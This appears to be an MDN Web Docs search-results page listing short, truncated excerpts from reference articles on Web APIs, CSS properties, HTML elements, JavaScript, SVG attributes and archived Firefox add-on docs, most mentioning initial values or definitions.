... if candidateinfo is provided, the new rtcicecandidate is initialized as follows: each member of the rtcicecandidateinit object is initialized to the value of the property by the same name from rtcicecandidateinit.
...And 4 more matches
SubtleCrypto.unwrapKey() - Web APIs
get the key material (user-supplied password) const keymaterial = await getkeymaterial(); // 2 initialize the salt parameter.
...initialize the wrapped key const wrappedkeybuffer = bytestoarraybuffer(wrappedkey); // 3.
...get the key material (user-supplied password) const keymaterial = await getkeymaterial(); // 2 initialize the salt parameter.
...And 4 more matches
WebGLRenderingContext.renderbufferStorage() - Web APIs
the webglrenderingcontext.renderbufferstorage() method of the webgl api creates and initializes a renderbuffer object's data store.
... examples gl.renderbufferstorage(gl.renderbuffer, gl.rgba4, 256, 256); specifications specification status comment webgl 1.0the definition of 'renderbufferstorage' in that specification.
... recommendation initial definition for webgl.
...And 4 more matches
Window.open() - Web APIs
WebAPIWindowopen
the new window cannot be initially positioned offscreen.
...the new window cannot be initially positioned offscreen.
... noreferrer if this feature is set, the request to load the content located at the specified url will be loaded with the request's referrer set to noreferrer; this prevents the request from sending the url of the page that initiated the request to the server where the request is sent.
...And 4 more matches
XRRigidTransform() - Web APIs
syntax let xrrigidtransform = new xrrigidtransform(position, orientation); parameters position optional an object conforming to dompointinit which specifies the coordinates at which the point or object is located.
...if this parameter is left out or is not compatible with dompointinit, the position used is assumed to be {x: 0, y: 0, z: 0, w: 1}.
... orientation optional an object conforming to dompointinit which specifies the direction in which the object is facing.
...And 4 more matches
Cognitive accessibility - Accessibility
though there is a lot of diversity within clinical definitions of cognitive impairments, people with them experience a common set of functional problems.
...these guidelines are published by the web accessibility initiative (wai) of the world wide web consortium (w3c), the main international standards organization for the internet.
...guideline 2.2 states "provide users enough time to read and use content." a time limit is any process that happens without user initiation after a set time or on a periodic basis, such as being logged out after 30 minutes or having 15 minutes to make a purchase.
...And 4 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
luckily, css media queries level 5 will be a game-changer in accessibility initiatives, because it will allow users to select settings that accomodate their needs best.
... in speaking specifically to relative luminance, wcag's definition of relative luminance notes: "note 2: almost all systems used today to view web content assume srgb encoding.
... here is the definition of relative luminance as defined by the w3c: "the relative brightness of any point in a colorspace, normalized to 0 for darkest black and 1 for lightest white" this statement is of course accurate, but may be confusing when used in reference to the rgb color space, which is an integer between 0 and 255.
...And 4 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
the next grid definition would create three equal width tracks that grow and shrink according to the available space.
...> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } in this next example, we create a definition with a 2fr track then two 1fr tracks.
...for example the grid definition: .wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; } can also be written as: .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); } repeat notation can be used for a part of the track listing.
...And 4 more matches
Using CSS counters - CSS: Cascading Style Sheets
using counters manipulating a counter's value to use a css counter, it must first be initialized to a value with the counter-reset property (0 by default).
...once initialized, a counter's value can be increased or decreased with counter-increment.
... the counter's name must not be "none", "inherit", or "initial"; otherwise the declaration is ignored.
...And 4 more matches
animation-timing-function - CSS: Cascading Style Sheets
tion: steps(10, jump-end); animation-timing-function: steps(20, jump-none); animation-timing-function: steps(5, jump-both); animation-timing-function: steps(6, start); animation-timing-function: steps(8, end); /* multiple animations */ animation-timing-function: ease, step-start, cubic-bezier(0.1, 0.7, 1.0, 0.1); /* global values */ animation-timing-function: inherit; animation-timing-function: initial; animation-timing-function: unset; timing functions may be specified on individual keyframes in a @keyframes rule.
... formal definition initial valueeaseapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <timing-function>#where <timing-function> = linear | <cubic-bezier-timing-function> | <step-timing-function>where <cubic-bezier-timing-function> = ease | ease-in | ease-out | ease-in-out | cubic-bezier(<number <a href="/docs/css/value_definit...
...ion_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>, <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>)<step-timing-function> = step-start | step-end | steps(<integer>[, <step-position>]?)where <step-position> = jump-start | jump-end | jump-none | jump-both | start | end examples cubic-bezier examples <div class="parent"> <div class="ease">ease</div> <div class="easein">ease-in</div> <div class="easeout">ease-out</div> <div class="easeinout">ease-in-out</div> <div class="linear">linear</div> <div class="cb">cubic-bezier(0.2,-2,0.8,2)</div> <...
...And 4 more matches
clip-path - CSS: Cascading Style Sheets
WebCSSclip-path
* <basic-shape> values */ clip-path: inset(100px 50px); clip-path: circle(50px at 0 100px); clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%); clip-path: path('m0.5,1 c0.5,1,0,0.7,0,0.3 a0.25,0.25,1,1,1,0.5,0.3 a0.25,0.25,1,1,1,1,0.3 c1,0.7,0.5,1,0.5,1 z'); /* box and shape values combined */ clip-path: padding-box circle(50px at 0 100px); /* global values */ clip-path: inherit; clip-path: initial; clip-path: unset; the clip-path property is specified as one or a combination of the values listed below.
... formal definition initial valuenoneapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrefer to reference box when specified, otherwise border-boxcomputed valueas specified, but with <url> values made absoluteanimation typeyes, as specified for <basic-shape>, otherwise no formal syntax <clip-source> | [ <basic-shape> | <ge...
... <svg viewbox="0 0 192 192"> <g class="none"> <rect x="24" y="24" width="144" height="144" /> <text x="96" y="91">i love</text> <text x="96" y="109" class="em">clipping</text> </g> </svg> </div> </div> </div> <div class="note">clip-path: url(#mypath)<br><br> assuming the following clippath definition: <pre> &lt;svg&gt; &lt;clippath id="mypath" clippathunits="objectboundingbox"&gt; &lt;path d="m0.5,1 c 0.5,1,0,0.7,0,0.3 a 0.25,0.25,1,1,1,0.5,0.3 a 0.25,0.25,1,1,1,1,0.3 c 1,0.7,0.5,1,0.5,1 z" /&gt; &lt;/clippath&gt; &lt;/svg&gt;</pre> </div> <div class="row"> <div class="cell"> <span>html</span> <div class="container"> <p ...
...And 4 more matches
color - CSS: Cascading Style Sheets
WebCSScolor
ba(34, 12, 64, 0.6); color: rgb(34 12 64 / 0.6); color: rgba(34 12 64 / 0.3); color: rgb(34.0 12 64 / 60%); color: rgba(34.6 12 64 / 30%); /* <hsl()> values */ color: hsl(30, 100%, 50%, 0.6); color: hsla(30, 100%, 50%, 0.6); color: hsl(30 100% 50% / 0.6); color: hsla(30 100% 50% / 0.6); color: hsl(30.0 100% 50% / 60%); color: hsla(30.2 100% 50% / 60%); /* global values */ color: inherit; color: initial; color: unset; the color property is specified as a single <color> value.
... webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial valuevaries from one browser to anotherapplies toall elements.
...ragraph's text red: p { color: red; } p { color: #f00; } p { color: #ff0000; } p { color: rgb(255,0,0); } p { color: rgb(100%, 0%, 0%); } p { color: hsl(0, 100%, 50%); } /* 50% translucent */ p { color: #ff000080; } p { color: rgba(255, 0, 0, 0.5); } p { color: hsla(0, 100%, 50%, 0.5); } specifications specification status comment css color module level 4the definition of 'color' in that specification.
...And 4 more matches
font-family - CSS: Cascading Style Sheets
-serif; /* a generic family name only */ font-family: serif; font-family: sans-serif; font-family: monospace; font-family: cursive; font-family: fantasy; font-family: system-ui; font-family: ui-serif; font-family: ui-sans-serif; font-family: ui-monospace; font-family: ui-rounded; font-family: emoji; font-family: math; font-family: fangsong; /* global values */ font-family: inherit; font-family: initial; font-family: unset; the font-family property lists one or more font families, separated by commas.
... gill sans extrabold, sans-serif; font-family: "goudy bookletter 1911", sans-serif; the following declarations are invalid: font-family: goudy bookletter 1911, sans-serif; font-family: red/black, sans-serif; font-family: "lucida" grande, sans-serif; font-family: ahem!, sans-serif; font-family: test@foo, sans-serif; font-family: #pound, sans-serif; font-family: hawaii 5-0, sans-serif; formal definition initial valuedepends on user agentapplies toall elements.
...</div> specifications specification status comment css fonts module level 4the definition of 'generic font families' in that specification.
...And 4 more matches
font-size - CSS: Cascading Style Sheets
WebCSSfont-size
te-size> values */ font-size: xx-small; font-size: x-small; font-size: small; font-size: medium; font-size: large; font-size: x-large; font-size: xx-large; font-size: xxx-large; /* <relative-size> values */ font-size: smaller; font-size: larger; /* <length> values */ font-size: 12px; font-size: 0.8em; /* <percentage> values */ font-size: 80%; /* global values */ font-size: inherit; font-size: initial; font-size: unset; the font-size property is specified in one of the following ways: as one of the absolute-size or relative-size keywords as a <length> or a <percentage>, relative to the parent element's font size values xx-small, x-small, small, medium, large, x-large, xx-large, xxx-large absolute-size keywords, based on the user's default font size (which is medium).
... formal definition initial valuemediumapplies toall elements.
...t sizes css .small { font-size: xx-small; } .larger { font-size: larger; } .point { font-size: 24pt; } .percent { font-size: 200%; } html <h1 class="small">small h1</h1> <h1 class="larger">larger h1</h1> <h1 class="point">24 point h1</h1> <h1 class="percent">200% h1</h1> result specifications specification status comment css fonts module level 4the definition of 'font-size' in that specification.
...And 4 more matches
font-style - CSS: Cascading Style Sheets
syntax font-style: normal; font-style: italic; font-style: oblique; font-style: oblique 10deg; /* global values */ font-style: inherit; font-style: initial; font-style: unset; the font-style property is specified as a single keyword chosen from the list of values below, which can optionally include an angle if the keyword is oblique.
... mdn understanding wcag, guideline 1.4 explanations w3c understanding wcag 2.1 formal definition initial valuenormalapplies toall elements.
... examples font styles <p class="normal">this paragraph is normal.</p> <p class="italic">this paragraph is italic.</p> <p class="oblique">this paragraph is oblique.</p> .normal { font-style: normal; } .italic { font-style: italic; } .oblique { font-style: oblique; } specifications specification status comment css fonts module level 4the definition of 'font-style' in that specification.
...And 4 more matches
font-variant - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: font-variant-alternates font-variant-caps font-variant-east-asian font-variant-ligatures font-variant-numeric syntax font-variant: small-caps; font-variant: common-ligatures small-caps; /* global values */ font-variant: inherit; font-variant: initial; font-variant: unset; values normal specifies a normal font face; each of the longhand properties has an initial value of normal.
... none sets the value of the font-variant-ligatures to none and the values of the other longhand property as normal, their initial value.
... formal definition initial valuenormalapplies toall elements.
...And 4 more matches
font - CSS: Cascading Style Sheets
WebCSSfont
as with any shorthand property, any individual value that is not specified is set to its corresponding initial value (possibly overriding values previously set using non-shorthand properties).
... though not directly settable by font, the longhands font-size-adjust and font-kerning are also reset to their initial values.
... formal definition initial valueas each of the properties of the shorthand:font-style: normalfont-variant: normalfont-weight: normalfont-stretch: normalfont-size: mediumline-height: normalfont-family: depends on user agentapplies toall elements.
...And 4 more matches
grid - CSS: Cascading Style Sheets
WebCSSgrid
the sub-properties you don’t specify are set to their initial value, as normal for shorthands.
.../ <'grid-template-columns'> values */ grid: auto-flow / 200px; grid: auto-flow dense / 30%; grid: auto-flow 300px / repeat(3, [line1 line2 line3] 200px); grid: auto-flow dense 40% / [line1] minmax(20em, max-content); /* global values */ grid: inherit; grid: initial; grid: unset; values <'grid-template'> defines the grid-template including grid-template-columns, grid-template-rows and grid-template-areas.
... all other grid sub-properties are reset to their initial values.
...And 4 more matches
ime-mode - CSS: Cascading Style Sheets
WebCSSime-mode
/* keyword values */ ime-mode: auto; ime-mode: normal; ime-mode: active; ime-mode: inactive; ime-mode: disabled; /* global values */ ime-mode: inherit; ime-mode: initial; ime-mode: unset; the ime-mode property is only partially and inconsistently implemented in browsers.
... active the input method editor is initially active; text entry is performed through it unless the user specifically dismisses it.
... inactive the input method editor is initially inactive, but the user may activate it if they wish.
...And 4 more matches
Inheritance - CSS: Cascading Style Sheets
css properties can be categorized in two types: inherited properties, which by default are set to the computed value of the parent element non-inherited properties, which by default are set to initial value of the property refer to any css property definition to see whether a specific property inherits by default ("inherited: yes") or not ("inherited: no").
...only the root element of the document gets the initial value given in the property's summary.
...it does not get the initial value of the property (which is the color that is used for the root element when the page specifies no color).
...And 4 more matches
list-style-type - CSS: Cascading Style Sheets
-type: circle; list-style-type: square; list-style-type: decimal; list-style-type: georgian; list-style-type: trad-chinese-informal; list-style-type: kannada; /* <string> value */ list-style-type: '-'; /* identifier matching an @counter-style rule */ list-style-type: custom-counter-style; /* keyword value */ list-style-type: none; /* global values */ list-style-type: inherit; list-style-type: initial; list-style-type: unset; the list-style-type property may be defined as any one of: a <custom-ident> value a symbols() value a <string> value the keyword none.
...一, 二, 三, ..., 九八, 九九, 一〇〇 decimal-leading-zero decimal numbers padded by initial zeros e.g.
... ul { list-style: none; } ul li::before { content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valuediscapplies tolist itemsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax <counter-style> | <string> | nonewhere <counter-style> = <counter-style-name> | symbols()where <counter-style-name> = <custom-ident> examples setting list item markers html list 1 <ol class="normal"> <li>hello</li> <li>world</li> <li>what's up?</li> </ol> list 2 <ol cla...
...And 4 more matches
margin-left - CSS: Cascading Style Sheets
syntax /* <length> values */ margin-left: 10px; /* an absolute length */ margin-left: 1em; /* relative to the text size */ margin-left: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-left: auto; /* global values */ margin-left: inherit; margin-left: initial; margin-left: unset; the margin-left property is specified as the keyword auto, or a <length>, or a <percentage>.
... flexbox layout mode formal definition initial value0applies toall elements, except elements with table display types other than table-caption, table and inline-table.
...ning blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting left margin using pixels and percentages .content { margin-left: 5%; } .sidebox { margin-left: 10px; } .logo { margin-left: -5px; } specifications specification status comment css basic box modelthe definition of 'margin-left' in that specification.
...And 4 more matches
margin-right - CSS: Cascading Style Sheets
syntax /* <length> values */ margin-right: 20px; /* an absolute length */ margin-right: 1em; /* relative to the text size */ margin-right: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-right: auto; /* global values */ margin-right: inherit; margin-right: initial; margin-right: unset; the margin-right property is specified as the keyword auto, or a <length>, or a <percentage>.
... flexbox layout mode formal definition initial value0applies toall elements, except elements with table display types other than table-caption, table and inline-table.
... blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting right margin using pixels and percentages .content { margin-right: 5%; } .sidebox { margin-right: 10px; } .logo { margin-right: -5px; } specifications specification status comment css basic box modelthe definition of 'margin-right' in that specification.
...And 4 more matches
page-break-after - CSS: Cascading Style Sheets
/* keyword values */ page-break-after: auto; page-break-after: always; page-break-after: avoid; page-break-after: left; page-break-after: right; page-break-after: recto; page-break-after: verso; /* global values */ page-break-after: inherit; page-break-after: initial; page-break-after: unset; this property applies to block elements that generate a box.
... syntax values auto initial value.
...a subset of values should be aliased as follows: page-break-after break-after auto auto left left right right avoid avoid always page formal definition initial valueautoapplies toblock-level elements in the normal flow of the root element.
...And 4 more matches
position - CSS: Cascading Style Sheets
WebCSSposition
it is positioned relative to its closest positioned ancestor, if any; otherwise, it is placed relative to the initial containing block.
...it is positioned relative to the initial containing block established by the viewport, except when one of its ancestors has a transform, perspective, or filter property set to something other than none (see the css transforms spec), in which case that ancestor behaves as the containing block.
... formal definition initial valuestaticapplies toall elementsinheritednocomputed valueas specifiedanimation typediscretecreates stacking contextyes formal syntax static | relative | absolute | sticky | fixed examples relative positioning relatively positioned elements are offset a given amount from their normal position within the document, but without the offset affecting other elements.
...And 4 more matches
touch-action - CSS: Cascading Style Sheets
/* keyword values */ touch-action: auto; touch-action: none; touch-action: pan-x; touch-action: pan-left; touch-action: pan-right; touch-action: pan-y; touch-action: pan-up; touch-action: pan-down; touch-action: pinch-zoom; touch-action: manipulation; /* global values */ touch-action: inherit; touch-action: initial; touch-action: unset; by default, panning (scrolling) and pinching gestures are handled exclusively by the browser.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | understanding wcag 2.0 formal definition initial valueautoapplies toall elements except: non-replaced inline elements, table rows, row groups, table columns, and column groupsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | none | [ [ pan-x | pan-left | pan-right ] | [ pan-y | pan-up | pan-down ] | pinch-zoom ] | manipulation examples disabling all gestures the most common usage is to disable al...
... html <div id="map"></div> css #map { height: 400px; width: 400px; background: blue; touch-action: none; } result specifications specification status comment compatibility standardthe definition of 'touch-action' in that specification.
...And 4 more matches
url() - CSS: Cascading Style Sheets
WebCSSurl()
in css level 2, the definition of url() was extended to describe any uri, including urns.
... css values and units level 3 returned to the narrower, initial definition.
...d: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='90' height='45'%3e%3cpath d='m10 10h60' stroke='%2300f' stroke-width='5'/%3e%3cpath d='m10 20h60' stroke='%230f0' stroke-width='5'/%3e%3cpath d='m10 30h60' stroke='red' stroke-width='5'/%3e%3c/svg%3e"); } specifications specification status comment css values and units module level 4the definition of 'url()' in that specification.
...And 4 more matches
<url> - CSS: Cascading Style Sheets
WebCSSurl
in css level 2, the definition of url() was extended to describe any uri, whether a url or a urn.
...to alleviate the confusion, css level 3 returned to the narrower, initial definition.
...) <a_css_property>: url('http://mysite.example.com/mycursor.png') <a_css_property>: url(http://mysite.example.com/mycursor.png) examples .topbanner { background: url("topbanner.png") #00d no-repeat fixed; } ul { list-style: square url(http://www.example.com/redball.png); } specifications specification status comment css values and units module level 4the definition of '<url>' in that specification.
...And 4 more matches
width - CSS: Cascading Style Sheets
WebCSSwidth
syntax /* <length> values */ width: 300px; width: 25em; /* <percentage> value */ width: 75%; /* keyword values */ width: max-content; width: min-content; width: fit-content(20em); width: auto; /* global values */ width: inherit; width: initial; width: unset; the width property is specified as either: one of the following keyword values: min-content, max-content, fit-content, auto.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | understanding wcag 2.0 formal definition initial valueautoapplies toall elements but non-replaced inline elements, table rows, and row groupsinheritednopercentagesrefer to the width of the containing blockcomputed valuea percentage or auto or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-perce...
...unity produces a lot of great software.</p> min-content p.minblue { background: lightblue; width: -moz-min-content; /* firefox */ width: -webkit-min-content; /* chrome */ width: min-content; } <p class="minblue">the mozilla community produces a lot of great software.</p> specifications specification status comment css box sizing module level 4the definition of 'width' in that specification.
...And 4 more matches
word-break - CSS: Cascading Style Sheets
syntax /* keyword values */ word-break: normal; word-break: break-all; word-break: keep-all; word-break: break-word; /* deprecated */ /* global values */ word-break: inherit; word-break: initial; word-break: unset; the word-break property is specified as a single keyword chosen from the list of values below.
... formal definition initial valuenormalapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | break-all | keep-all | break-word examples html <p>1.
... <code>word-break: normal</code></p> <p class="normal narrow">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉</p> <p>2.
...And 4 more matches
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
WebHTMLElementabbr
there are, though, a few cases where it's helpful to do so: when an abbreviation is used and you want to provide an expansion or definition outside the flow of the document's content, use <abbr> with an appropriate title.
... to define an abbreviation which may be unfamiliar to the reader, present the term using <abbr> and either a title attribute or inline text providing the definition.
... you can use <abbr> in concert with <dfn> to establish definitions for terms which are abbreviations or acronyms.
...And 4 more matches
Standard metadata names - HTML: Hypertext Markup Language
WebHTMLElementmetaname
the css device adaptation specification defines the following metadata name: viewport: gives hints about the size of the initial size of the viewport.
... initial-scale a positive number between 0.0 and 10.0 defines the ratio between the device width (device-width in portrait mode or device-height in landscape mode) and the viewport size.
... viewport-fit auto, contain or cover the auto value doesn’t affect the initial layout viewport, and the whole web page is viewable.
...And 4 more matches
Indexed collections - JavaScript
when these values are specified, the array is initialized with them as the array's elements.
... the bracket syntax is called an "array literal" or "array initializer." it's shorter than other forms of array creation, and so is generally preferred.
...obj.prop = [element0, element1, ..., elementn] // or let obj = {prop: [element0, element1, ...., elementn]} if you wish to initialize an array with a single element, and the element happens to be a number, you must use the bracket syntax.
...And 4 more matches
Inheritance and the prototype chain - JavaScript
by definition, null has no prototype, and acts as the final link in this prototype chain.
...// this is the end of the prototype chain, as null, // by definition, has no [[prototype]].
... name example(s) pro(s) con(s) new-initialization function foo(){} foo.prototype = { foo_prop: "foo val" }; function bar(){} var proto = new foo; proto.bar_prop = "bar val"; bar.prototype = proto; var inst = new bar; console.log(inst.foo_prop); console.log(inst.bar_prop); supported in every browser imaginable (support goes all the way back to ie 5.5!).
...And 4 more matches
Public class fields - JavaScript
class classwithstaticfield { static staticfield = 'static field' } console.log(classwithstaticfield.staticfield) // expected output: "static field"​ fields without initializers are initialized to undefined.
... class classwithstaticfield { static staticfield } console.assert(classwithstaticfield.hasownproperty('staticfield')) console.log(classwithstaticfield.staticfield) // expected output: "undefined" public static fields are not reinitialized on subclasses, but can be accessed via the prototype chain.
... class classwithstaticfield { static basestaticfield = 'base field' } class subclasswithstaticfield extends classwithstaticfield { static substaticfield = 'sub class field' } console.log(subclasswithstaticfield.substaticfield) // expected output: "sub class field" console.log(subclasswithstaticfield.basestaticfield) // expected output: "base field" when initializing fields, this refers to the class constructor.
...And 4 more matches
Classes - JavaScript
class body and method definitions the body of a class is the part that is in curly brackets {}.
... constructor the constructor method is a special method for creating and initializing an object created with a class.
... prototype methods see also method definitions.
...And 4 more matches
for - JavaScript
syntax for ([initialization]; [condition]; [final-expression]) statement initialization an expression (including assignment expressions) or variable declaration evaluated once before the loop begins.
... typically used to initialize a counter variable.
... examples using for the following for statement starts by declaring the variable i and initializing it to 0.
...And 4 more matches
var - JavaScript
the var statement declares a function-scoped or globally-scoped variable, optionally initializing it to a value.
... valuen optional initial value of the variable.
...their initial value is undefined.
...And 4 more matches
cx - SVG: Scalable Vector Graphics
WebSVGAttributecx
ient> </defs> <rect x="1" y="1" width="8" height="8" fill="url(#mygradient000)" stroke="black" /> <rect x="13" y="1" width="8" height="8" fill="url(#mygradient050)" stroke="black" /> <rect x="25" y="1" width="8" height="8" fill="url(#mygradient100)" stroke="black" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'cx' in that specification.
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'cx' in that specification.
... candidate recommendation definition for svg2 paint servers.
...And 4 more matches
cy - SVG: Scalable Vector Graphics
WebSVGAttributecy
ient> </defs> <rect x="1" y="1" width="8" height="8" fill="url(#mygradient000)" stroke="black" /> <rect x="13" y="1" width="8" height="8" fill="url(#mygradient050)" stroke="black" /> <rect x="25" y="1" width="8" height="8" fill="url(#mygradient100)" stroke="black" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'cy' in that specification.
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'cy' in that specification.
... candidate recommendation definition for svg2 paint servers.
...And 4 more matches
gradientTransform - SVG: Scalable Vector Graphics
the gradienttransform attribute contains the definition of an optional additional transformation from the gradient coordinate system onto the target coordinate system (i.e., userspaceonuse or objectboundingbox).
... specifications specification status comment css transforms level 1the definition of 'surfacescale for <fespecularlighting>' in that specification.
... scalable vector graphics (svg) 2the definition of 'gradienttransformation for <lineargradient>' in that specification.
...And 4 more matches
in2 - SVG: Scalable Vector Graphics
WebSVGAttributein2
value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes specifications specification status comment filter effects module level 1the definition of 'in2 for <fedisplacementmap>' in that specification.
... working draft no change filter effects module level 1the definition of 'in2 for <fecomposite>' in that specification.
... working draft no change filter effects module level 1the definition of 'in2 for <feblend>' in that specification.
...And 4 more matches
kernelUnitLength - SVG: Scalable Vector Graphics
value <number-optional-number> default value pixel in offscreen bitmap animatable yes specifications specification status comment filter effects module level 1the definition of 'kernelunitlength for <fespecularlighting>' in that specification.
... filter effects module level 1the definition of 'kernelunitlength for <fediffuselighting>' in that specification.
... filter effects module level 1the definition of 'kernelunitlength for <feconvolvematrix>' in that specification.
...And 4 more matches
SVG animation with SMIL - SVG: Scalable Vector Graphics
from the initial value of the attribute.
... <svg width="300" height="100"> <title>attribute animation with smil</title> <rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /> <circle cx="0" cy="50" r="15" fill="blue" stroke="black" stroke-width="1"> <animate attributename="cx" from="0" to="500" dur="5s" repeatcount="indefinite" /> </circle> </svg> animating the transform attributes the <animatetransform> element let you animate transform attributes.
... <title>svg smil animate with transform</title> <rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /> <rect x="0" y="50" width="15" height="34" fill="blue" stroke="black" stroke-width="1"> <animatetransform attributename="transform" begin="0s" dur="20s" type="rotate" from="0 60 60" to="360 100 60" repeatcount="indefinite" /> </rect> </svg> animation following a path the <animatemotion> element lets you animate an element position and rotation according to a path.
...And 4 more matches
Creating Reusable Modules - Archive of obsolete content
the documentation for that interface includes an example which we can adapt like this: var {cc, ci} = require("chrome"); function promptforfile() { const nsifilepicker = ci.nsifilepicker; var fp = cc["@mozilla.org/filepicker;1"] .createinstance(nsifilepicker); var window = require("sdk/window/utils").getmostrecentbrowserwindow(); fp.init(window, "select a file", nsifilepicker.modeopen); fp.appendfilters(nsifilepicker.filterall | nsifilepicker.filtertext); var rv = fp.show(); if (rv == nsifilepicker.returnok || rv == nsifilepicker.returnreplace) { var file = fp.file; // get the path as string.
...we can adapt it like this: var {cc, ci} = require("chrome"); // return the two-digit hexadecimal code for a byte function tohexstring(charcode) { return ("0" + charcode.tostring(16)).slice(-2); } function md5file(path) { var f = cc["@mozilla.org/file/local;1"] .createinstance(ci.nsilocalfile); f.initwithpath(path); var istream = cc["@mozilla.org/network/file-input-stream;1"] .createinstance(ci.nsifileinputstream); // open for reading istream.init(f, 0x01, 0444, 0); var ch = cc["@mozilla.org/security/hash;1"] .createinstance(ci.nsicryptohash); // we want to use the md5 algorithm ch.init(ch.md5); // this tells updatefromstream to read the entire file c...
...n the user clicks the button, we ask them to select a file, compute the hash, and log the hash to the console: var {cc, ci} = require("chrome"); // return the two-digit hexadecimal code for a byte function tohexstring(charcode) { return ("0" + charcode.tostring(16)).slice(-2); } function md5file(path) { var f = cc["@mozilla.org/file/local;1"] .createinstance(ci.nsilocalfile); f.initwithpath(path); var istream = cc["@mozilla.org/network/file-input-stream;1"] .createinstance(ci.nsifileinputstream); // open for reading istream.init(f, 0x01, 0444, 0); var ch = cc["@mozilla.org/security/hash;1"] .createinstance(ci.nsicryptohash); // we want to use the md5 algorithm ch.init(ch.md5); // this tells updatefromstream to read the entire file c...
...And 3 more matches
XPCOM Objects - Archive of obsolete content
this.obsservice = cc["@mozilla.org/observer-service;1"].getservice(ci.nsiobserverservice); the cc object (components.classes) is an index to static objects and class definitions available through xpcom.
... an interface is just a definition of a set of attributes and methods that an object implementing it should have.
... this._prefservice = cc["@mozilla.org/preferences-service;1"].getservice(ci.nsiprefbranch); this._prefvalue = this._prefservice.getboolpref("somepreferencename"); this._prefservice.queryinterface(ci.nsiprefbranch2); this._prefservice.addobserver("somepreferencename", this, false); this._prefservice.queryinterface(ci.nsiprefbranch); this is a common piece of code you'll see when initializing components or jsm that rely on preferences.
...And 3 more matches
Tabbed browser - Archive of obsolete content
each snippet normally includes some code to run at initialization, these are best run using a load listener.
...if you don't want do anything when frames/iframes // are loaded in this web page, uncomment the following line: // return; // find the root document: win = win.top; } } } // do not try to add a callback until the browser window has // been initialised.
... // browser is the xul element of the browser that's been added } function exampletabmoved(event) { var browser = gbrowser.getbrowserfortab(event.target); // browser is the xul element of the browser that's been moved } function exampletabremoved(event) { var browser = gbrowser.getbrowserfortab(event.target); // browser is the xul element of the browser that's been removed } // during initialization var container = gbrowser.tabcontainer; container.addeventlistener("tabopen", exampletabadded, false); container.addeventlistener("tabmove", exampletabmoved, false); container.addeventlistener("tabclose", exampletabremoved, false); // when no longer needed container.removeeventlistener("tabopen", exampletabadded, false); container.removeeventlistener("tabmove", exampletabmoved, false); ...
...And 3 more matches
XPCOM Interfaces - Archive of obsolete content
the components are constructed from a number of definitions called interfaces.
... an interface in mozilla is a definition of a set of functionality that could be implemented by components.
... initwithpath this method is used to initialize the path and filename for the nsilocalfile.
...And 3 more matches
nsIContentPolicy - Archive of obsolete content
type_fetch 20 indicates a load initiated by the globalfetch.fetch() method, which is available as a global in both window and worker contexts.
... arequestorigin {optional_inline}} the location of the resource that initiated this load request; can be null if inapplicable.
... acontext {optional_inline}} the nsidomnode or nsidomwindow that initiated the request, or something that can queryinterface() to one of those; can be null if inapplicable.
...And 3 more matches
WAI-ARIA basics - Learn web development
the initial solution was to add one or more hidden links at the top of the page to link to the navigation (or whatever else), for example: <a href="#hidden" class="hidden">skip to navigation</a> but this is still not very precise, and can only be used when the screenreader is reading from the top of the page.
... enter wai-aria wai-aria (web accessibility initiative - accessible rich internet applications) is a specification written by the w3c, defining a set of additional html attributes that can be applied to elements to provide additional semantics and improve accessibility wherever it is lacking.
... note: you can find a useful list of all the aria roles and their uses, with links to futher information, in the wai-aria spec — see definition of roles.
...And 3 more matches
Positioning - Learn web development
illogical as it may initially sound, this is just the way that relative positioning works — you need to think of an invisible force that pushes the specified side of the positioned box, moving it in the opposite direction.
...(in this case, the "containing element" is the initial containing block.
...the result of this is, the absolutely positioned element will be contained in the initial containing block.
...And 3 more matches
Storing the information you need — Variables - Learn web development
